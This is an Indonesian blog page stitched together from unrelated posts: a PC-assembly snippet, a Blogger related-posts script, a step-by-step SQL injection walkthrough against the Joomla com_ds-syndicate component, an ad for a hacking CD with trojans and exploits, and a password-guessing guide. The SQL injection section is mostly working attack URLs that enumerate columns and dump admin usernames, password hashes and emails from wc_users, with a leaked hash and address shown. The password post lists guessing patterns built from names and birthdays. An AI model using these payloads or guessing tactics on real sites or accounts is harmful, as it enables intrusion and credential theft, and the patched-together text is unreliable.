Setelah keluar dari setup BIOS, komputer akan meload Sistem OPerasi dengan urutan pencarian sesuai seting boot sequence pada BIOS. Masukkan diskette atau CD Bootable yang berisi sistem operasi pada drive pencarian.
Penanganan Masalah
Permasalahan yang umum terjadi dalam perakitan komputer dan penanganannya antara lain:
  1. Komputer atau monitor tidak menyala, kemungkinan disebabkan oleh switch atau kabel daya belum terhubung.
  2. Card adapter yang tidak terdeteksi disebabkan oleh pemasangan card belum pas ke slot/
  3. LED dari hardisk, floppy atau CD menyala terus disebabkan kesalahan pemasangan kabel konektor atau ada pin yang belum pas terhubung.

Create Artkel Terkait

Untuk membuat artikel terkait atau related post, kita akan sedikit mengutak – atik kode HTML template kita seperti membongkar alat elektronik. Jadi seperti biasa saya sarankan untuk membackup template sobat terlebih dahulu sebelum membuat artikel terkait ini. Para blogger baru yang belum tau tentang artikel terkait akan saya beri sedikit gambaran, kurang lebihnya seperti ini, dalam setiap postingan tentunya kita akan mengelompokkan postingan kita dalam beberapa kelompok atau yang biasa disebut dengan label (kategori). jadi dapat disimpulkan artikel terkait atau related post nanti berdasarkan label postingan itu.
Artikel terkait itu biasanya yang saya tau selalu berada dalam 1 kelompok postingan yang di kategorikan, contoh seperti dalam blog ini sobat bisa lihat pada halaman bawah postingan ini akan terlihat beberapa artikel terkait yang saling mengait, sekarang gak usah banyak cakap and GPL (Gak Pake Lama)
Berikut tutorial singkatnya :
  1. Login ke Blogger.
  2. Klik Tata Letak.
  3. Klik tab Edit HTML.
  4. Kemudian jangan lupa klik Expand Template Widgets .
  5. Cari kode yang seperti ini : <p><data:post.body/></p>
    atau jika bingung tekan Ctrl + F kemudian ketikkan kode berikut :
    <data:post.body/>
  6. Jika sudah menggunakan Read More pada template sobat, maka akan terdapat 2 kode <data:post.body/>
  7. Kemudian letakkan script berikut ini setelah kode <data:post.body/> yang pertama. <b:if cond=’data:blog.pageType == “item”‘>
    <div class=’similiar’>
    <div class=’widget-content’>
    <h3>Artikel Terkait</h3>
    <div id=’data2007′/><br/><br/>
    <script type=’text/javascript’>
    var homeUrl3 = &quot;<data:blog.homepageUrl/>&quot;;
    var maxNumberOfPostsPerLabel = 4;
    var maxNumberOfLabels = 7;
    maxNumberOfPostsPerLabel = 7;
    maxNumberOfLabels = 3;
    function listEntries10(json) {
    var ul = document.createElement('ul');
    var maxPosts = (json.feed.entry.length &lt;= maxNumberOfPostsPerLabel) ?
    json.feed.entry.length : maxNumberOfPostsPerLabel;
    for (var i = 0; i &lt; maxPosts; i++) {
    var entry = json.feed.entry[i];
    var alturl;
    for (var k = 0; k &lt; entry.link.length; k++) {
    if (entry.link[k].rel == 'alternate') {
    alturl = entry.link[k].href;
    break;
    }
    }
    var li = document.createElement('li');
    var a = document.createElement('a');
    a.href = alturl;
    if(a.href!=location.href) {
    var txt = document.createTextNode(entry.title.$t);
    a.appendChild(txt);
    li.appendChild(a);
    ul.appendChild(li);
    }
    }
    for (var l = 0; l &lt; json.feed.link.length; l++) {
    if (json.feed.link[l].rel == 'alternate') {
    var raw = json.feed.link[l].href;
    var label = raw.substr(homeUrl3.length+13);
    var k;
    for (k=0; k&lt;20; k++) label = label.replace(&quot;%20&quot;, &quot; &quot;);
    var txt = document.createTextNode(label);
    var h = document.createElement('b');
    h.appendChild(txt);
    var div1 = document.createElement('div');
    div1.appendChild(h);
    div1.appendChild(ul);
    document.getElementById('data2007').appendChild(div1);
    }
    }
    }
    function search10(query, label) {
    var script = document.createElement('script');
    script.setAttribute('src', query + 'feeds/posts/default/-/'
    + label +
    '?alt=json-in-script&amp;callback=listEntries10');
    script.setAttribute('type', 'text/javascript');
    document.documentElement.firstChild.appendChild(script);
    }
    var labelArray = new Array();
    var numLabel = 0;
    <b:loop values=’data:posts’ var=’post’>
    <b:loop values=’data:post.labels’ var=’label’>
    textLabel = &quot;<data:label.name/>&quot;;
    var test = 0;
    for (var i = 0; i &lt; labelArray.length; i++)
    if (labelArray[i] == textLabel) test = 1;
    if (test == 0) {
    labelArray.push(textLabel);
    var maxLabels = (labelArray.length &lt;= maxNumberOfLabels) ?
    labelArray.length : maxNumberOfLabels;
    if (numLabel &lt; maxLabels) {
    search10(homeUrl3, textLabel);
    numLabel++;
    }
    }
    </b:loop>
    </b:loop>
    </script>
    </div>
    </div>
    </b:if>
  8. Kemudian Save Template
  9. Sebenarnya tutorial yang kesembilan ini ga ada, cuma oskar mau bilang ” wah ternyata mudah banget ya he he he!!! selamat mencoba!!!

Implementasi SQL Injection pada Joomla


Implementasi SQL Injection pada Joomla


Apa jadinya jika admin malas mengupdate webnya? Apa jadinya jika admin tidak memperhatikan security risk yang ada? Apa jadinya jika ‘the choosen one’ ternyata seorang admin yang tidak tahu sama sekali mengenai system keamanan sebuah data? Ironi memang. Bahkan terkadang ada admin yang meremehkan system keamanan. Apa jadinya jika server anda memiliki konfigurasi default? Apa jadinya, apa jadinya? Dan segudang akibat dari hasil penggabungan dua kata tersebut. Yang terjadi adalah peluang seorang attacker untuk menyusup ke dalam website anda semakin  memungkinkan, mengobrak-abrik server anda, bahkan tidak jarang seorang attacker mengambil profit dari exploitasi system yang ada. Dalam berbagai hal, termasuk mendulang dollar dengan cara tidak halal. Seperti yang dilakukan oleh para carder.
Penulis akan menjelaskan betapa mudahnya sebuah web dieksploitasi hanya dengan bermodalkan internet dan browser internet tentunya, dan sedikit pengetahuan sql query. Perlu penulis jelaskan, penulis hanyalah seorang manusia biasa yang memiliki pengetahuan minimal dari sistem keamanan data.
Ya, belum lama ini, salah satu component joomla terbukti mengidap penyakit berbahaya, tumor ganas yang akan menjalar keseluruh tubuh, dan berakibat kematian pada akhirnya. :D ~~
Telah ditemukan bug sql injection pada com_ds-syndicate, ini adalah salah satu contoh dari sekian banyak bug fatal yang terdapat dalam joomla. Waspadalah! Kesalahan terjadi karena komponen ini tidak menyediakan filtering sql yang ketat dalam variable feed_id. Penyusupan dapat dilakukan, sederhananya ini terjadi karena kesalahan dari variable feed_id. Dan saat menulis artikel ini ada beberapa site masih memiliki kecacatan seperti ini.
Ya, Langsung aja …
http:// korban.com/index2.php?option=ds-syndicate&version=1&feed_id=1

Url ini menampilkan feeds seperti biasanya, tapi beda halnya jika kita tes kelemahannya, dengan penambahan tanda kutip ( ‘ ) di belakangnya.
http:// korban.com/index2.php?option=ds-syndicate&version=1&feed_id=1′

Apa yang terjadi ? … error…
Langkah selanjutnya adalah cari urutan  si table ‘dssyndicate_feeds’  dengan mendapatkan bentuk error yang sama, dan berhenti ketika mendapatkan error yang berbeda  :
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+1/*    –>    errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+2/*    –>    errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+3/*    –>    errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+4/*    –>    errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+20/*    –>    errornya sama

index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+21/*    –>    errornya berbeda
perhatikan bentuk error-nya berbeda ketika feed_id yang diisi dengan 1+order+by+21/*, ini adalah patokan untuk melakukan injeksi sql yang selanjutnya.
Langkah selanjutnya adalah penggunaan union, lebih jelasnya mengenai fungsi union, silahkan baca di sini.
Selanjutnya kita test, apakah fungsi union dapat berjalan pada url korban.
index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,
15,16,17,18,19,20+from+wc_users
lihat paling akhir dari baris tersebut,
from+wc_users
wc_users adalah nama table yang diambil dari struktur database joomla. Berisi mengenai informasi login user.
Sedangkan 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ini  diperoleh berdasarkan yang telah penulis jelaskan sebelumnya.
Ya setelah url di atas di enter, yang perlu dilakukan adalah mendownload file tersebut,

Setelah itu buka file yang baru didownload tersebut dengan editor seperti notepad, walaupun filenya xml, tapi penulis tetap menyarankan untuk membukanya dengan notepad, tidak dengan browser internet, karena memudahkan untuk pembacaan hasil dari sql injection yang telah dilakukan.

Lihat angka 2 di dalam tag <title> :
<title>2 (18)</title>
Jangan pedulikan angka (18) di belakangnya, yang perlu diperhatikan adalah angka 2-nya. Ini berarti berdasarkan hasil query union menggunakan browser tadi, anda dapat menggunakan angka 2 tersebut untuk keperluan selanjutnya. Seperti mengganti angka 2 dengan kumpulan karakter lain untuk menggunakannya seperti melihat versi mysql yang digunakan, ya langsung saja, kita akan mencobanya untuk melihat versi mysql yang digunakan oleh si korban. Gunakan url ini …
http://korban.com/hack/joomla/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,
@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from
+wc_users

perhatikan angka 2 diganti dengan kalimat @@version, enter, kemudian buka kembali file telah di download dengan notepad, apa yang terjadi ? title berubah menjadi versi si mysql, yang penulis dapatkan :
<title>5.0.33 (18)</title>
Mysql versi 5.0.33 :D , sampai sini anda telah dapat eksplorasi database user dengan leluasa. Apa yang dilakukan seorang attacker selanjutnya ? ya, mendapatkan username dan password si admin. :D .
Pengambilan username dan password secara paksa menggunakan sql injection ini dapat dilakukan secara satu persatu, ataupun sekaligus. Query untuk menampilkan username menggunakan bug sql injection yang satu ini, anda cukup mengganti @@version yang tadi dengan field yang menyimpan informasi username tentunya, gunakan url ini :
http://korban.com/hack/joomla/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,
username,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+wc_users
jalankan url, download filenya, kemudian buka kembali dengan notepad. Hasilnya adalah username dari database tersebut …
<title>admin (18)</title>
Atau bisa juga ditampilkan informasi username, password, email, dan user_type sekaligus, gunakan url seperti ini :
http://korban.com/hack/joomla/index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,
concat(username,0x3a,password,0x3a,email,0x3a,usertype),3,
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+wc_users
perhatikan, string username, diganti dengan concat(username,0x3a,password,0x3a,email,0x3a,usertype), penggunaan concat disini adalah mengconvert suatu hexa, ataupun spesial karakter kedalam bentuk ascii, sehingga, yang terjadi nantinya adalah :
0x3a berubah menjadi titik dua ( : ), buka kembali file hasil dari url di atas. Yang penulis dapatkan adalah informasi seperti ini :

admin:bd3ca378488e00055d5b23df1252e443:EbnV8pXgTqIgApjK: // <![CDATA[// <![CDATA[
var prefix = 'ma' + 'il' + 'to';
var path = 'hr' + 'ef' + '=';
var addy73597 = 'alkemail' + '@';
addy73597 = addy73597 + 'gmail' + '.' + 'com';
document.write( '' );
document.write( addy73597 );
document.write( '' );
//\n
// -->]]>
alkemail@gmail.com// <![CDATA[// This e-mail address is being protected from spambots, you need JavaScript enabled to view it // <![CDATA[// <![CDATA[
document.write( '' );
// ]]>:Super Administrator
Jika di urutkan :
Username : admin
Password ( hash ) : bd3ca378488e00055d5b23df1252e443:EbnV8pXgTqIgApjK
Email : // <![CDATA[// <![CDATA[
var prefix = 'ma' + 'il' + 'to';
var path = 'hr' + 'ef' + '=';
var addy1906 = 'alkemail' + '@';
addy1906 = addy1906 + 'gmail' + '.' + 'com';
document.write( '' );
document.write( addy1906 );
document.write( '' );
//\n
// -->]]>
alkemail@gmail.com// <![CDATA[// This e-mail address is being protected from spambots, you need JavaScript enabled to view it // <![CDATA[// <![CDATA[
document.write( '' );
// ]]>
User type : Super Administrator
Yang di lakukan selanjutnya adalah mencoba crack password, karena itu masih dalam bentuk hash, dengan kata lain password yang masih terenkripsi.  :D . Yups, pengambilan username dan password secara paksa telah terjadi, si attacker kembali mencari cara bagaimana mendapatkan password yang asli, dengan cara mengcrack password hash tersebut.
Inilah bukti begitu mudahnya suatu web diambil alih oleh attacker, akibat dari seorang admin yang malas melakukan patch pada systemnya.
Di artikel selanjutnya penulis akan menjalankan konsep sederhana password crack untuk joomla menggunakan php. Tunggu kelanjutannya … :D .
Untuk keperluan eksperimen, silahkan download filenya di sini.
http://joomlacode.org/gf/download/frsrelease/6828/22538/Joomla_1.0.15-Stable-Full_Package.zip
http://www.unair.info/ilmuwebsite/hack/joomla/com_ds-syndicate.tar.gz
greetz : b_scorpio bisnis semen, staff ilmuwebsite yang pada ngurus skripsinya
Peterpanz yang kerepotan ngurus skripsi juga :D , mr.freeman, for jojo too, najwa[at]STSN, dr.emi, denice the manace, Phii_, fadli

Majalah Ilmuwebsite No.01
Dapatkan Edisi Perdana Majalah Ilmuwebsite™ disini Segera lengkapi koleksimu persediaan Terbatas..!!
Paket CD Hacking v3 2009
Tools, Articles, Movies, Exploits, Trojans, Programming, PDA, Advisories, Mobile, BT4

Trick Sederhana Menebak Password, Friendster, Email, Facebook, Windows XP dll

Sebagai seorang manusia, sifat lupa sudah merupakan hal alamiah yang kerap kali kita alami. Suatu ketika dengan maksud agar orang lain tidak bisa Login pada Friendster kita, kemudian kita mempergunakan password yang sangat kompleks, namun “senjata makan tuan” justru kita sendiri yang pada akhirnya mengalami kesulitan, karena lupa terhadap password yang kompleks tersebut, hingga akhirnya kita tidak bisa Login.
Nah bila anda termasuk orang yang sering lupa akan password anda, atau malah anda sekarang sedang mengalami masalah dimana anda tidak ingat lagi sama password email, friendster facebook, atau password untuk login ke windows XP, langkah berikut mungkin bisa membantu anda untuk mengingat dan menebak password anda.
> Mencoba password alternatif
Kebanyakan orang mempergunakan satu, dua buah password untuk account-account yang berbeda. Password yang satu, biasanya untuk hal-hal sangat serius, misal untuk Login ke alamat email utama dan password kedua (dan ini adalah password alternatif) untuk Login ke “tempat-tempat umum”, misal website yang memerlukan password untuk login. Nah, kalau anda lupa password “utama” anda, ada baiknya anda coba dulu password alternatif yang biasa anda pakai.
> Nama Anda
Cobalah berbagai alternatif password dengan mempergunakan kombinasi nama anda. Menggunakan password dengan kombinasi nama sendiri memang bukanlah sebuah langkah yang bijak dan kurang aman, namun hal seperti ini justru masih sering dipergunakan oleh kebanyakan orang, dan mungkin termasuk anda sendiri.
Sebagai contoh bila nama anda adalah Cepi Nugraha Pratama, maka kombinasi umum yang akan sering terjadi adalah :
  • Cepi123
  • CepiNP
  • Ipec
  • PratamaCN
  • CNpratama
> Nama Teman, kekasih atau Keluarga
Kebanyakan orang sering mempergunakan nama orang-orang terdekatnya sebagai password, nah bila anda punya seseorang yang special dalam hidup anda, dan orang tersebut begitu berarti, ada baiknya anda mencoba menggunakan kombinasi nama orang tersebut sebagai password.
> Ulang Tahun
Tanggal ulang tahun masih sering dipergunakan sebagai password, dan ini biasanya kadang dikombinasikan dengan menggunakan nama anda. Misal bila nama anda Cepi Nugraha Pramata lahir pada tanggal 1 Juli 1988, maka beberapa kemungkinan password yang tercipta adalah
  • CNP010788
  • 1988CNP
  • Cepijuli
  • CN88
  • 010788cepiNP
Itu hanya beberapa kombinasi yang mungkin tercipta, anda masih bisa mengembangkan beberapa kombinasi yang mungkin bisa dilakukan.
> Informasi Rumah, Kantor atau sekolah
Masih ada kok orang yang mempergunakan informasi rumah, kantor atau malah sekolah/ kampusnya untuk dipergunakan sebagai password. Misal No. telepon, No. Rumah dan terkadang nama jalan  dari rumah/kantor/sekolah tersebut. Jadi kenapa tidak anda coba informasi-informasi tersebut untuk menebak password anda.
> Nama Hewan Peliharaan
Anda punya kucing di rumah dan kucing tersebut bernama “meong”, kenapa tidak ada coba nama hewan peliharaan anda sebagai password, soalnya masih sering dan bahkan banyak orang yang mempergunakan nama hewan peliharaan sebagai password.
> Kenangan masa kecil
Saat kecil kita pasti pernah mengidolakan seseorang, atau mengagumi tokoh kartun atau bangga terhadap seorang superhero. Nah, kenapa tidak anda pergunakan informasi kenangan masa kecil ini untuk menebak password anda.
> Nomor Penting
Tak bisa dipungkiri setiap orang punya nomor penting dalam hidupnya. misalnya nomor HP sang kekasih hati, atau malah nomor hp sendiri. Tidak ada salahnya anda mencoba berbagai alternatif dari nomor tersebut untuk menebak password anda. Sebagai catatan : banyak orang mempergunakan 4 dikit terakhir dari nomor hp nya yang dikombinasikan dengan namanya sendiri sebagai password, jadi tidak ada salahnya bila anda mencoba kombinasi seperti ini.
> Password umum
Alternatif lain untuk menebak password, adalah dengan mempergunakan kata-kata umum yang biasa digunakan sebagai password, misalnya :
  • Password
  • 123456
  • Qwerty
  • Abc123
  • Password1
Bila berbagai langkah diatas masih juga tidak berhasil memecahkan masalah anda, dan anda masih tidak bisa menemukan password anda. Alternatif terakhir mungkin mempergunakan program-program khusus yang dirancang untuk membantu menemukan password (Password Recovery). Untuk kombinasi huruf yang sedikit, misal 4 sampai 6 huruf, program tersebut bisa dengan cepat menemukan password anda, tapi bila anda sudah mempergunakan password dengan kombinasi huruf yang banyak, misal lebih dari 20 huruf, program-program tersebut akan memerlukan waktu yang mungkin agak lama.
NOTE : Untuk mendapatkan informasi terbaru dan terupdate atau info tentang password, username friendster ataupun facebook anda sampai kepada info menarik lainnya dari tasikisme.com silakan masukkan email anda di bawah ini. Terima kasih atas partisifasinya.
sumber: http://www.tasikisme.com

0 Komentar